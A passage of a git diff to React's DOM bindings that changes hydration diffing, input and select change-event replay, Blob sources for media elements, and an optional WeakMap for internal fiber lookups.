@@ -1204,7 +1328,6 @@ export function setInitialProperties(
       // up necessary since we never stop tracking anymore.
       validateTextareaProps(domElement, props);
       initTextarea(domElement, value, defaultValue, children);
-      track((domElement: any));
       return;
     }
     case 'option': {
@@ -1234,6 +1357,8 @@ export function setInitialProperties(
       return;
     }
     case 'dialog': {
+      listenToNonDelegatedEvent('beforetoggle', domElement);
+      listenToNonDelegatedEvent('toggle', domElement);
       listenToNonDelegatedEvent('cancel', domElement);
       listenToNonDelegatedEvent('close', domElement);
       break;
@@ -1269,7 +1394,6 @@ export function setInitialProperties(
     }
     case 'embed':
     case 'source':
-    case 'img':
     case 'link': {
       // These are void elements that also need delegated events.
       listenToNonDelegatedEvent('error', domElement);
@@ -1411,26 +1535,44 @@ export function updateProperties(
         ) {
           switch (propKey) {
             case 'type': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               type = nextProp;
               break;
             }
             case 'name': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               name = nextProp;
               break;
             }
             case 'checked': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               checked = nextProp;
               break;
             }
             case 'defaultChecked': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               defaultChecked = nextProp;
               break;
             }
             case 'value': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               value = nextProp;
               break;
             }
             case 'defaultValue': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               defaultValue = nextProp;
               break;
             }
@@ -1534,8 +1676,9 @@ export function updateProperties(
             }
             // Fallthrough
             default: {
-              if (!nextProps.hasOwnProperty(propKey))
+              if (!nextProps.hasOwnProperty(propKey)) {
                 setProp(domElement, tag, propKey, null, nextProps, lastProp);
+              }
             }
           }
         }
@@ -1549,15 +1692,24 @@ export function updateProperties(
         ) {
           switch (propKey) {
             case 'value': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               value = nextProp;
               // This is handled by updateSelect below.
               break;
             }
             case 'defaultValue': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               defaultValue = nextProp;
               break;
             }
             case 'multiple': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               multiple = nextProp;
               // TODO: Just move the special case in here from setProp.
             }
@@ -1616,11 +1768,17 @@ export function updateProperties(
         ) {
           switch (propKey) {
             case 'value': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               value = nextProp;
               // This is handled by updateTextarea below.
               break;
             }
             case 'defaultValue': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               defaultValue = nextProp;
               break;
             }
@@ -1684,6 +1842,9 @@ export function updateProperties(
         ) {
           switch (propKey) {
             case 'selected': {
+              if (nextProp !== lastProp) {
+                trackHostMutation();
+              }
               // TODO: Remove support for selected on option.
               (domElement: any).selected =
                 nextProp &&
@@ -1859,13 +2020,21 @@ function getStylesObjectFromElement(domElement: Element): {
   [styleName: string]: string,
 } {
   const serverValueInObjectForm: {[prop: string]: string} = {};
-  const style = ((domElement: any): HTMLElement).style;
+  const htmlElement: HTMLElement = (domElement: any);
+  const style = htmlElement.style;
   for (let i = 0; i < style.length; i++) {
     const styleName: string = style[i];
     // TODO: We should use the original prop value here if it is equivalent.
     // TODO: We could use the original client capitalization if the equivalent
     // other capitalization exists in the DOM.
-    serverValueInObjectForm[styleName] = style.getPropertyValue(styleName);
+    if (
+      styleName === 'view-transition-name' &&
+      isExpectedViewTransitionName(htmlElement)
+    ) {
+      // This is a view transition name added by the Fizz runtime, not the user's props.
+    } else {
+      serverValueInObjectForm[styleName] = style.getPropertyValue(styleName);
+    }
   }
   return serverValueInObjectForm;
 }
@@ -1885,27 +2054,37 @@ function diffHydratedStyles(
     }
     return;
   }
-  if (canDiffStyleForHydrationWarning) {
-    // First we compare the string form and see if it's equivalent.
-    // This lets us bail out on anything that used to pass in this form.
-    // It also lets us compare anything that's not parsed by this browser.
-    const clientValue = createDangerousStringForStyles(value);
-    const serverValue = domElement.getAttribute('style');
+  // First we compare the string form and see if it's equivalent.
+  // This lets us bail out on anything that used to pass in this form.
+  // It also lets us compare anything that's not parsed by this browser.
+  const clientValue = createDangerousStringForStyles(value);
+  const serverValue = domElement.getAttribute('style');
 
-    if (serverValue === clientValue) {
-      return;
-    }
-    const normalizedClientValue =
-      normalizeMarkupForTextOrAttribute(clientValue);
-    const normalizedServerValue =
-      normalizeMarkupForTextOrAttribute(serverValue);
-    if (normalizedServerValue === normalizedClientValue) {
-      return;
-    }
+  if (serverValue === clientValue) {
+    return;
+  }
+  const normalizedClientValue = normalizeMarkupForTextOrAttribute(clientValue);
+  const normalizedServerValue = normalizeMarkupForTextOrAttribute(serverValue);
+  if (normalizedServerValue === normalizedClientValue) {
+    return;
+  }
 
-    // Otherwise, we create the object from the DOM for the diff view.
-    serverDifferences.style = getStylesObjectFromElement(domElement);
+  if (
+    // Trailing semi-colon means this was regenerated.
+    normalizedServerValue[normalizedServerValue.length - 1] === ';' &&
+    // TODO: Should we just ignore any style if the style as been manipulated?
+    hasViewTransition((domElement: any))
+  ) {
+    // If this had a view transition we might have applied a view transition
+    // name/class and removed it. If that happens, the style attribute gets
+    // regenerated from the style object. This means we've lost the format
+    // that we sent from the server and is unable to diff it. We just treat
+    // it as passing even if it should be a mismatch in this edge case.
+    return;
   }
+
+  // Otherwise, we create the object from the DOM for the diff view.
+  serverDifferences.style = getStylesObjectFromElement(domElement);
 }
 
 function hydrateAttribute(
@@ -2221,6 +2400,39 @@ function hydrateSanitizedAttribute(
   warnForPropDifference(propKey, serverValue, value, serverDifferences);
 }
 
+function hydrateSrcObjectAttribute(
+  domElement: Element,
+  value: Blob,
+  extraAttributes: Set<string>,
+  serverDifferences: {[propName: string]: mixed},
+): void {
+  const attributeName = 'src';
+  extraAttributes.delete(attributeName);
+  const serverValue = domElement.getAttribute(attributeName);
+  if (serverValue != null && value != null) {
+    const size = value.size;
+    const type = value.type;
+    if (typeof size === 'number' && typeof type === 'string') {
+      if (serverValue.indexOf('data:' + type + ';base64,') === 0) {
+        // For Blobs we don't bother reading the actual data but just diff by checking if
+        // the byte length size of the Blob maches the length of the data url.
+        const prefixLength = 5 + type.length + 8;
+        let byteLength = ((serverValue.length - prefixLength) / 4) * 3;
+        if (serverValue[serverValue.length - 1] === '=') {
+          byteLength--;
+        }
+        if (serverValue[serverValue.length - 2] === '=') {
+          byteLength--;
+        }
+        if (byteLength === size) {
+          return;
+        }
+      }
+    }
+  }
+  warnForPropDifference('src', serverValue, value, serverDifferences);
+}
+
 function diffHydratedCustomComponent(
   domElement: Element,
   tag: string,
@@ -2467,46 +2679,74 @@ function diffHydratedGenericElement(
           continue;
         }
       // fallthrough
-      case 'src':
-      case 'href':
-        if (enableFilterEmptyStringAttributesDOM) {
-          if (
-            value === '' &&
-            // <a href=""> is fine for "reload" links.
-            !(tag === 'a' && propKey === 'href') &&
-            !(tag === 'object' && propKey === 'data')
-          ) {
+      case 'src': {
+        if (enableSrcObject && typeof value === 'object' && value !== null) {
+          // Some tags support object sources like Blob, File, MediaSource and MediaStream.
+          if (tag === 'img' || tag === 'video' || tag === 'audio') {
+            try {
+              // Test if this is a compatible object
+              URL.revokeObjectURL(URL.createObjectURL((value: any)));
+              hydrateSrcObjectAttribute(
+                domElement,
+                value,
+                extraAttributes,
+                serverDifferences,
+              );
+              continue;
+            } catch (x) {
+              // If not, just fall through to the normal toString flow.
+            }
+          } else {
             if (__DEV__) {
-              if (propKey === 'src') {
-                console.error(
-                  'An empty string ("") was passed to the %s attribute. ' +
-                    'This may cause the browser to download the whole page again over the network. ' +
-                    'To fix this, either do not render the element at all ' +
-                    'or pass null to %s instead of an empty string.',
-                  propKey,
-                  propKey,
-                );
-              } else {
-                console.error(
-                  'An empty string ("") was passed to the %s attribute. ' +
-                    'To fix this, either do not render the element at all ' +
-                    'or pass null to %s instead of an empty string.',
-                  propKey,
-                  propKey,
-                );
-              }
+              try {
+                // This should always error.
+                URL.revokeObjectURL(URL.createObjectURL((value: any)));
+                if (tag === 'source') {
+                  console.error(
+                    'Passing Blob, MediaSource or MediaStream to <source src> is not supported. ' +
+                      'Pass it directly to <img src>, <video src> or <audio src> instead.',
+                  );
+                } else {
+                  console.error(
+                    'Passing Blob, MediaSource or MediaStream to <%s src> is not supported.',
+                    tag,
+                  );
+                }
+              } catch (x) {}
             }
-            hydrateSanitizedAttribute(
-              domElement,
-              propKey,
-              propKey,
-              null,
-              extraAttributes,
-              serverDifferences,
-            );
-            continue;
           }
         }
+        // Fallthrough
+      }
+      case 'href':
+        if (
+          value === '' &&
+          // <a href=""> is fine for "reload" links.
+          !(tag === 'a' && propKey === 'href') &&
+          !(tag === 'object' && propKey === 'data')
+        ) {
+          if (__DEV__) {
+            if (propKey === 'src') {
+              console.error(
+                'An empty string ("") was passed to the %s attribute. ' +
+                  'This may cause the browser to download the whole page again over the network. ' +
+                  'To fix this, either do not render the element at all ' +
+                  'or pass null to %s instead of an empty string.',
+                propKey,
+                propKey,
+              );
+            } else {
+              console.error(
+                'An empty string ("") was passed to the %s attribute. ' +
+                  'To fix this, either do not render the element at all ' +
+                  'or pass null to %s instead of an empty string.',
+                propKey,
+                propKey,
+              );
+            }
+          }
+          continue;
+        }
         hydrateSanitizedAttribute(
           domElement,
           propKey,
@@ -2924,17 +3164,18 @@ export function hydrateProperties(
       // option and select we don't quite do the same thing and select
       // is not resilient to the DOM state changing so we don't do that here.
       // TODO: Consider not doing this for input and textarea.
-      initInput(
-        domElement,
-        props.value,
-        props.defaultValue,
-        props.checked,
-        props.defaultChecked,
-        props.type,
-        props.name,
-        true,
-      );
-      track((domElement: any));
+      if (!enableHydrationChangeEvent) {
+        initInput(
+          domElement,
+          props.value,
+          props.defaultValue,
+          props.checked,
+          props.defaultChecked,
+          props.type,
+          props.name,
+          true,
+        );
+      }
       break;
     case 'option':
       validateOptionProps(domElement, props);
@@ -2958,8 +3199,14 @@ export function hydrateProperties(
       // TODO: Make sure we check if this is still unmounted or do any clean
       // up necessary since we never stop tracking anymore.
       validateTextareaProps(domElement, props);
-      initTextarea(domElement, props.value, props.defaultValue, props.children);
-      track((domElement: any));
+      if (!enableHydrationChangeEvent) {
+        initTextarea(
+          domElement,
+          props.value,
+          props.defaultValue,
+          props.children,
+        );
+      }
       break;
   }
 
@@ -3001,6 +3248,10 @@ export function hydrateProperties(
 
   if (props.onScrollEnd != null) {
     listenToNonDelegatedEvent('scrollend', domElement);
+    if (enableScrollEndPolyfill) {
+      // For use by the polyfill.
+      listenToNonDelegatedEvent('scroll', domElement);
+    }
   }
 
   if (props.onClick != null) {
@@ -3032,6 +3283,18 @@ export function diffHydratedProperties(
           break;
         case 'selected':
           break;
+        case 'vt-name':
+        case 'vt-update':
+        case 'vt-enter':
+        case 'vt-exit':
+        case 'vt-share':
+          if (enableViewTransition) {
+            // View Transition annotations are expected from the Server Runtime.
+            // However, if they're also specified on the client and don't match
+            // that's an error.
+            break;
+          }
+        // Fallthrough
         default:
           // Intentionally use the original name.
           // See discussion in https://github.com/facebook/react/pull/10676.
diff --git a/packages/react-dom-bindings/src/client/ReactDOMComponentTree.js b/packages/react-dom-bindings/src/client/ReactDOMComponentTree.js
index 39d47a369ecc..01e4fcde95cb 100644
--- a/packages/react-dom-bindings/src/client/ReactDOMComponentTree.js
+++ b/packages/react-dom-bindings/src/client/ReactDOMComponentTree.js
@@ -17,6 +17,7 @@ import type {
   Container,
   TextInstance,
   Instance,
+  ActivityInstance,
   SuspenseInstance,
   Props,
   HoistableRoot,
@@ -30,12 +31,15 @@ import {
   HostText,
   HostRoot,
   SuspenseComponent,
+  ActivityComponent,
 } from 'react-reconciler/src/ReactWorkTags';
 
-import {getParentSuspenseInstance} from './ReactFiberConfigDOM';
+import {getParentHydrationBoundary} from './ReactFiberConfigDOM';
 
 import {enableScopeAPI} from 'shared/ReactFeatureFlags';
 
+import {enableInternalInstanceMap} from 'shared/ReactFeatureFlags';
+
 const randomKey = Math.random().toString(36).slice(2);
 const internalInstanceKey = '__reactFiber$' + randomKey;
 const internalPropsKey = '__reactProps$' + randomKey;
@@ -45,8 +49,37 @@ const internalEventHandlerListenersKey = '__reactListeners$' + randomKey;
 const internalEventHandlesSetKey = '__reactHandles$' + randomKey;
 const internalRootNodeResourcesKey = '__reactResources$' + randomKey;
 const internalHoistableMarker = '__reactMarker$' + randomKey;
+const internalScrollTimer = '__reactScroll$' + randomKey;
+
+type InstanceUnion =
+  | Instance
+  | TextInstance
+  | SuspenseInstance
+  | ActivityInstance
+  | ReactScopeInstance
+  | Container;
+
+const PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
+const internalInstanceMap:
+  | WeakMap<InstanceUnion, Fiber>
+  | Map<InstanceUnion, Fiber> = new PossiblyWeakMap();
+const internalPropsMap:
+  | WeakMap<InstanceUnion, Props>
+  | Map<InstanceUnion, Props> = new PossiblyWeakMap();
 
 export function detachDeletedInstance(node: Instance): void {
+  if (enableInternalInstanceMap) {
+    internalInstanceMap.delete(node);
+    internalPropsMap.delete(node);
+    delete (node: any)[internalEventHandlersKey];
+    delete (node: any)[internalEventHandlerListenersKey];
+    delete (node: any)[internalEventHandlesSetKey];
+    delete (node: any)[internalRootNodeResourcesKey];
+    if (__DEV__) {
+      delete (node: any)[internalInstanceKey];
+    }
+    return;
+  }
   // TODO: This function is only called on host components. I don't think all of
   // these fields are relevant.
   delete (node: any)[internalInstanceKey];
@@ -58,8 +91,20 @@ export function detachDeletedInstance(node: Instance): void {
 
 export function precacheFiberNode(
   hostInst: Fiber,
-  node: Instance | TextInstance | SuspenseInstance | ReactScopeInstance,
+  node:
+    | Instance
+    | TextInstance
+    | SuspenseInstance
+    | ActivityInstance
+    | ReactScopeInstance,
 ): void {
+  if (enableInternalInstanceMap) {
+    internalInstanceMap.set(node, hostInst);
+    if (__DEV__) {
+      (node: any)[internalInstanceKey] = hostInst;
+    }
+    return;
+  }
   (node: any)[internalInstanceKey] = hostInst;
 }
 
@@ -80,15 +125,21 @@ export function isContainerMarkedAsRoot(node: Container): boolean {
 
 // Given a DOM node, return the closest HostComponent or HostText fiber ancestor.
 // If the target node is part of a hydrated or not yet rendered subtree, then
-// this may also return a SuspenseComponent or HostRoot to indicate that.
+// this may also return a SuspenseComponent, ActivityComponent or HostRoot to
+// indicate that.
 // Conceptually the HostRoot fiber is a child of the Container node. So if you
 // pass the Container node as the targetNode, you will not actually get the
 // HostRoot back. To get to the HostRoot, you need to pass a child of it.
-// The same thing applies to Suspense boundaries.
+// The same thing applies to Suspense and Activity boundaries.
 export function getClosestInstanceFromNode(targetNode: Node): null | Fiber {
-  let targetInst = (targetNode: any)[internalInstanceKey];
+  let targetInst: void | Fiber;
+  if (enableInternalInstanceMap) {
+    targetInst = internalInstanceMap.get(((targetNode: any): InstanceUnion));
+  } else {
+    targetInst = (targetNode: any)[internalInstanceKey];
+  }
   if (targetInst) {
-    // Don't return HostRoot or SuspenseComponent here.
+    // Don't return HostRoot, SuspenseComponent or ActivityComponent here.
     return targetInst;
   }
   // If the direct event target isn't a React owned DOM node, we need to look
@@ -103,9 +154,15 @@ export function getClosestInstanceFromNode(targetNode: Node): null | Fiber {
     // itself because the fibers are conceptually between the container
     // node and the first child. It isn't surrounding the container node.
     // If it's not a container, we check if it's an instance.
-    targetInst =
-      (parentNode: any)[internalContainerInstanceKey] ||
-      (parentNode: any)[internalInstanceKey];
+    if (enableInternalInstanceMap) {
+      targetInst =
+        (parentNode: any)[internalContainerInstanceKey] ||
+        internalInstanceMap.get(((parentNode: any): InstanceUnion));
+    } else {
+      targetInst =
+        (parentNode: any)[internalContainerInstanceKey] ||
+        (parentNode: any)[internalInstanceKey];
+    }
     if (targetInst) {
       // Since this wasn't the direct target of the event, we might have
       // stepped past dehydrated DOM nodes to get here. However they could
@@ -128,8 +185,8 @@ export function getClosestInstanceFromNode(targetNode: Node): null | Fiber {
       ) {
         // Next we need to figure out if the node that skipped past is
         // nested within a dehydrated boundary and if so, which one.
-        let suspenseInstance = getParentSuspenseInstance(targetNode);
-        while (suspenseInstance !== null) {
+        let hydrationInstance = getParentHydrationBoundary(targetNode);
+        while (hydrationInstance !== null) {
           // We found a suspense instance. That means that we haven't
           // hydrated it yet. Even though we leave the comments in the
           // DOM after hydrating, and there are boundaries in the DOM
@@ -138,16 +195,18 @@ export function getClosestInstanceFromNode(targetNode: Node): null | Fiber {
           // have had an internalInstanceKey on it.
           // Let's get the fiber associated with the SuspenseComponent
           // as the deepest instance.
-          // $FlowFixMe[prop-missing]
-          const targetSuspenseInst = suspenseInstance[internalInstanceKey];
-          if (targetSuspenseInst) {
-            return targetSuspenseInst;
+          const targetFiber = enableInternalInstanceMap
+            ? internalInstanceMap.get(hydrationInstance)
+            : // $FlowFixMe[prop-missing]
+              hydrationInstance[internalInstanceKey];
+          if (targetFiber) {
+            return targetFiber;
           }
           // If we don't find a Fiber on the comment, it might be because
           // we haven't gotten to hydrate it yet. There might still be a
           // parent boundary that hasn't above this one so we need to find
           // the outer most that is known.
-          suspenseInstance = getParentSuspenseInstance(suspenseInstance);
+          hydrationInstance = getParentHydrationBoundary(hydrationInstance);
           // If we don't find one, then that should mean that the parent
           // host component also hasn't hydrated yet. We can return it
           // below since it will bail out on the isMounted check later.
@@ -166,15 +225,23 @@ export function getClosestInstanceFromNode(targetNode: Node): null | Fiber {
  * instance, or null if the node was not rendered by this React.
  */
 export function getInstanceFromNode(node: Node): Fiber | null {
-  const inst =
-    (node: any)[internalInstanceKey] ||
-    (node: any)[internalContainerInstanceKey];
+  let inst: void | null | Fiber;
+  if (enableInternalInstanceMap) {
+    inst =
+      internalInstanceMap.get(((node: any): InstanceUnion)) ||
+      (node: any)[internalContainerInstanceKey];
+  } else {
+    inst =
+      (node: any)[internalInstanceKey] ||
+      (node: any)[internalContainerInstanceKey];
+  }
   if (inst) {
     const tag = inst.tag;
     if (
       tag === HostComponent ||
       tag === HostText ||
       tag === SuspenseComponent ||
+      tag === ActivityComponent ||
       tag === HostHoistable ||
       tag === HostSingleton ||
       tag === HostRoot
@@ -210,20 +277,31 @@ export function getNodeFromInstance(inst: Fiber): Instance | TextInstance {
 }
 
 export function getFiberCurrentPropsFromNode(
-  node: Instance | TextInstance | SuspenseInstance,
-): Props {
+  node:
+    | Container
+    | Instance
+    | TextInstance
+    | SuspenseInstance
+    | ActivityInstance,
+): Props | null {
+  if (enableInternalInstanceMap) {
+    return internalPropsMap.get(node) || null;
+  }
   return (node: any)[internalPropsKey] || null;
 }
 
-export function updateFiberProps(
-  node: Instance | TextInstance | SuspenseInstance,
-  props: Props,
-): void {
+export function updateFiberProps(node: Instance, props: Props): void {
+  if (enableInternalInstanceMap) {
+    internalPropsMap.set(node, props);
+    return;
+  }
   (node: any)[internalPropsKey] = props;
 }
 
 export function getEventListenerSet(node: EventTarget): Set<string> {
-  let elementListenerSet = (node: any)[internalEventHandlersKey];
+  let elementListenerSet: Set<string> | void = (node: any)[
+    internalEventHandlersKey
+  ];
   if (elementListenerSet === undefined) {
     elementListenerSet = (node: any)[internalEventHandlersKey] = new Set();
   }
@@ -234,6 +312,9 @@ export function getFiberFromScopeInstance(
   scope: ReactScopeInstance,
 ): null | Fiber {
   if (enableScopeAPI) {
+    if (enableInternalInstanceMap) {
+      return internalInstanceMap.get(((scope: any): InstanceUnion)) || null;
+    }
     return (scope: any)[internalInstanceKey] || null;
   }
   return null;
@@ -293,7 +374,25 @@ export function markNodeAsHoistable(node: Node) {
   (node: any)[internalHoistableMarker] = true;
 }
 
+export function getScrollEndTimer(node: EventTarget): ?TimeoutID {
+  return (node: any)[internalScrollTimer];
+}
+
+export function setScrollEndTimer(node: EventTarget, timer: TimeoutID): void {
+  (node: any)[internalScrollTimer] = timer;
+}
+
+export function clearScrollEndTimer(node: EventTarget): void {
+  (node: any)[internalScrollTimer] = undefined;
+}
+
 export function isOwnedInstance(node: Node): boolean {
+  if (enableInternalInstanceMap) {
+    return !!(
+      (node: any)[internalHoistableMarker] ||
+      internalInstanceMap.has((node: any))
+    );
+  }
   return !!(
     (node: any)[internalHoistableMarker] || (node: any)[internalInstanceKey]
   );
diff --git a/packages/react-dom-bindings/src/client/ReactDOMContainer.js b/packages/react-dom-bindings/src/client/ReactDOMContainer.js
index 0af0f13a790a..df9bcfb44380 100644
--- a/packages/react-dom-bindings/src/client/ReactDOMContainer.js
+++ b/packages/react-dom-bindings/src/client/ReactDOMContainer.js
@@ -27,16 +27,3 @@ export function isValidContainer(node: any): boolean {
         (node: any).nodeValue === ' react-mount-point-unstable '))
   );
 }
-
-// TODO: Remove this function which also includes comment nodes.
-// We only use it in places that are currently more relaxed.
-export function isValidContainerLegacy(node: any): boolean {
-  return !!(
-    node &&
-    (node.nodeType === ELEMENT_NODE ||
-      node.nodeType === DOCUMENT_NODE ||
-      node.nodeType === DOCUMENT_FRAGMENT_NODE ||
-      (node.nodeType === COMMENT_NODE &&
-        (node: any).nodeValue === ' react-mount-point-unstable '))
-  );
-}
diff --git a/packages/react-dom-bindings/src/client/ReactDOMEventHandle.js b/packages/react-dom-bindings/src/client/ReactDOMEventHandle.js
index 26d821a6d986..875a9c9697c3 100644
--- a/packages/react-dom-bindings/src/client/ReactDOMEventHandle.js
+++ b/packages/react-dom-bindings/src/client/ReactDOMEventHandle.js
@@ -28,6 +28,7 @@ import {
   enableScopeAPI,
   enableCreateEventHandleAPI,
 } from 'shared/ReactFeatureFlags';
+import typeof {SyntheticEvent} from '../events/SyntheticEvent';
 
 type EventHandleOptions = {
   capture?: boolean,
@@ -44,7 +45,7 @@ function isReactScope(target: EventTarget | ReactScopeInstance): boolean {
 function createEventHandleListener(
   type: DOMEventName,
   isCapturePhaseListener: boolean,
-  callback: (SyntheticEvent<EventTarget>) => void,
+  callback: SyntheticEvent => void,
 ): ReactDOMEventHandleListener {
   return {
     callback,
@@ -111,7 +112,7 @@ export function createEventHandle(
 
     const eventHandle: ReactDOMEventHandle = (
       target: EventTarget | ReactScopeInstance,
-      callback: (SyntheticEvent<EventTarget>) => void,
+      callback: SyntheticEvent => void,
     ) => {
       if (typeof callback !== 'function') {
         throw new Error(
diff --git a/packages/react-dom-bindings/src/client/ReactDOMEventHandleTypes.js b/packages/react-dom-bindings/src/client/ReactDOMEventHandleTypes.js
index d0a1406a3f6e..4c9a097afa3d 100644
--- a/packages/react-dom-bindings/src/client/ReactDOMEventHandleTypes.js
+++ b/packages/react-dom-bindings/src/client/ReactDOMEventHandleTypes.js
@@ -9,14 +9,15 @@
 
 import type {ReactScopeInstance} from 'shared/ReactTypes';
 import type {DOMEventName} from '../events/DOMEventNames';
+import typeof {SyntheticEvent} from '../events/SyntheticEvent';
 
 export type ReactDOMEventHandle = (
   target: EventTarget | ReactScopeInstance,
-  callback: (SyntheticEvent<EventTarget>) => void,
+  callback: (SyntheticEvent) => void,
 ) => () => void;
 
 export type ReactDOMEventHandleListener = {
-  callback: (SyntheticEvent<EventTarget>) => void,
+  callback: SyntheticEvent => void,
   capture: boolean,
   type: DOMEventName,
 };
diff --git a/packages/react-dom-bindings/src/client/ReactDOMInput.js b/packages/react-dom-bindings/src/client/ReactDOMInput.js
index 33c04e48d0d4..b6e665e12883 100644
--- a/packages/react-dom-bindings/src/client/ReactDOMInput.js
+++ b/packages/react-dom-bindings/src/client/ReactDOMInput.js
@@ -12,13 +12,17 @@ import {getCurrentFiberOwnerNameInDevOrNull} from 'react-reconciler/src/ReactCur
 
 import {getFiberCurrentPropsFromNode} from './ReactDOMComponentTree';
 import {getToStringValue, toString} from './ToStringValue';
-import {updateValueIfChanged} from './inputValueTracking';
+import {track, trackHydrated, updateValueIfChanged} from './inputValueTracking';
 import getActiveElement from './getActiveElement';
-import {disableInputAttributeSyncing} from 'shared/ReactFeatureFlags';
+import {
+  disableInputAttributeSyncing,
+  enableHydrationChangeEvent,
+} from 'shared/ReactFeatureFlags';
 import {checkAttributeStringCoercion} from 'shared/CheckStringCoercion';
 
 import type {ToStringValue} from './ToStringValue';
 import escapeSelectorAttributeValueInsideDoubleQuotes from './escapeSelectorAttributeValueInsideDoubleQuotes';
+import {queueChangeEvent} from '../events/ReactDOMEventReplaying';
 
 let didWarnValueDefaultValue = false;
 let didWarnCheckedDefaultChecked = false;
@@ -229,6 +233,8 @@ export function initInput(
     // Avoid setting value attribute on submit/reset inputs as it overrides the
     // default value provided by the browser. See: #12872
     if (isButton && (value === undefined || value === null)) {
+      // We track the value just in case it changes type later on.
+      track((element: any));
       return;
     }
 
@@ -239,7 +245,7 @@ export function initInput(
 
     // Do not assign value if it is already set. This prevents user text input
     // from being lost during SSR hydration.
-    if (!isHydrating) {
+    if (!isHydrating || enableHydrationChangeEvent) {
       if (disableInputAttributeSyncing) {
         // When not syncing the value attribute, the value property points
         // directly to the React prop. Only assign it if it exists.
@@ -297,7 +303,7 @@ export function initInput(
     typeof checkedOrDefault !== 'symbol' &&
     !!checkedOrDefault;
 
-  if (isHydrating) {
+  if (isHydrating && !enableHydrationChangeEvent) {
     // Detach .checked from .defaultChecked but leave user input alone
     node.checked = node.checked;
   } else {
@@ -335,6 +341,43 @@ export function initInput(
     }
     node.name = name;
   }
+  track((element: any));
+}
+
+export function hydrateInput(
+  element: Element,
+  value: ?string,
+  defaultValue: ?string,
+  checked: ?boolean,
+  defaultChecked: ?boolean,
+): void {
+  const node: HTMLInputElement = (element: any);
+
+  const defaultValueStr =
+    defaultValue != null ? toString(getToStringValue(defaultValue)) : '';
+  const initialValue =
+    value != null ? toString(getToStringValue(value)) : defaultValueStr;
+
+  const checkedOrDefault = checked != null ? checked : defaultChecked;
+  // TODO: This 'function' or 'symbol' check isn't replicated in other places
+  // so this semantic is inconsistent.
+  const initialChecked =
+    typeof checkedOrDefault !== 'function' &&
+    typeof checkedOrDefault !== 'symbol' &&
+    !!checkedOrDefault;
+
+  // Detach .checked from .defaultChecked but leave user input alone
+  node.checked = node.checked;
+
+  const changed = trackHydrated((node: any), initialValue, initialChecked);
+  if (changed) {
+    // If the current value is different, that suggests that the user
+    // changed it before hydration. Queue a replay of the change event.
+    // For radio buttons the change event only fires on the selected one.
+    if (node.type !== 'radio' || node.checked) {
+      queueChangeEvent(node);
+    }
+  }
 }
 
 export function restoreControlledInputState(element: Element, props: Object) {
diff --git a/packages/react-dom-bindings/src/client/ReactDOMSelect.js b/packages/react-dom-bindings/src/client/ReactDOMSelect.js
index 984abbc07c76..00136aa8175b 100644
--- a/packages/react-dom-bindings/src/client/ReactDOMSelect.js
+++ b/packages/react-dom-bindings/src/client/ReactDOMSelect.js
@@ -12,6 +12,7 @@ import {getCurrentFiberOwnerNameInDevOrNull} from 'react-reconciler/src/ReactCur
 
 import {getToStringValue, toString} from './ToStringValue';
 import isArray from 'shared/isArray';
+import {queueChangeEvent} from '../events/ReactDOMEventReplaying';
 
 let didWarnValueDefaultValue;
 
@@ -86,7 +87,7 @@ function updateOptions(
   } else {
     // Do not set `select.value` as exact behavior isn't consistent across all
     // browsers for all cases.
-    const selectedValue = toString(getToStringValue((propValue: any)));
+    const selectedValue = toString(getToStringValue(propValue));
     let defaultSelected = null;
     for (let i = 0; i < options.length; i++) {
       if (options[i].value === selectedValue) {
@@ -157,6 +158,59 @@ export function initSelect(
   }
 }
 
+export function hydrateSelect(
+  element: Element,
+  value: ?string,
+  defaultValue: ?string,
+  multiple: ?boolean,
+): void {
+  const node: HTMLSelectElement = (element: any);
+  const options: HTMLOptionsCollection = node.options;
+
+  const propValue: any = value != null ? value : defaultValue;
+
+  let changed = false;
+
+  if (multiple) {
+    const selectedValues = (propValue: ?Array<string>);
+    const selectedValue: {[string]: boolean} = {};
+    if (selectedValues != null) {
+      for (let i = 0; i < selectedValues.length; i++) {
+        // Prefix to avoid chaos with special keys.
+        selectedValue['$' + selectedValues[i]] = true;
+      }
+    }
+    for (let i = 0; i < options.length; i++) {
+      const expectedSelected = selectedValue.hasOwnProperty(
+        '$' + options[i].value,
+      );
+      if (options[i].selected !== expectedSelected) {
+        changed = true;
+        break;
+      }
+    }
+  } else {
+    let selectedValue =
+      propValue == null ? null : toString(getToStringValue(propValue));
+    for (let i = 0; i < options.length; i++) {
+      if (selectedValue == null && !options[i].disabled) {
+        // We expect the first non-disabled option to be selected if the selected is null.
+        selectedValue = options[i].value;
+      }
+      const expectedSelected = options[i].value === selectedValue;
+      if (options[i].selected !== expectedSelected) {
+        changed = true;
+        break;
+      }
+    }
+  }
+  if (changed) {
+    // If the current selection is different than our initial that suggests that the user
+    // changed it before hydration. Queue a replay of the change event.
+    queueChangeEvent(node);
+  }
+}
+
 export function updateSelect(
   element: Element,
   value: ?string,
diff --git a/packages/react-dom-bindings/src/client/ReactDOMSrcObject.js b/packages/react-dom-bindings/src/client/ReactDOMSrcObject.js
new file mode 100644
index 000000000000..160d634236d2
--- /dev/null
+++ b/packages/react-dom-bindings/src/client/ReactDOMSrcObject.js
@@ -0,0 +1,25 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export function setSrcObject(domElement: Element, tag: string, value: any) {
+  // We optimistically create the URL regardless of object type. This lets us
+  // support cross-realms and any type that the browser supports like new types.
+  const url = URL.createObjectURL((value: any));
+  const loadEvent = tag === 'img' ? 'load' : 'loadstart';
+  const cleanUp = () => {
+    // Once the object has started loading, then it's already collected by the
+    // browser and it won't refer to it by the URL anymore so we can now revoke it.
+    URL.revokeObjectURL(url);
+    domElement.removeEventListener(loadEvent, cleanUp);
+    domElement.removeEventListener('error', cleanUp);
+  };
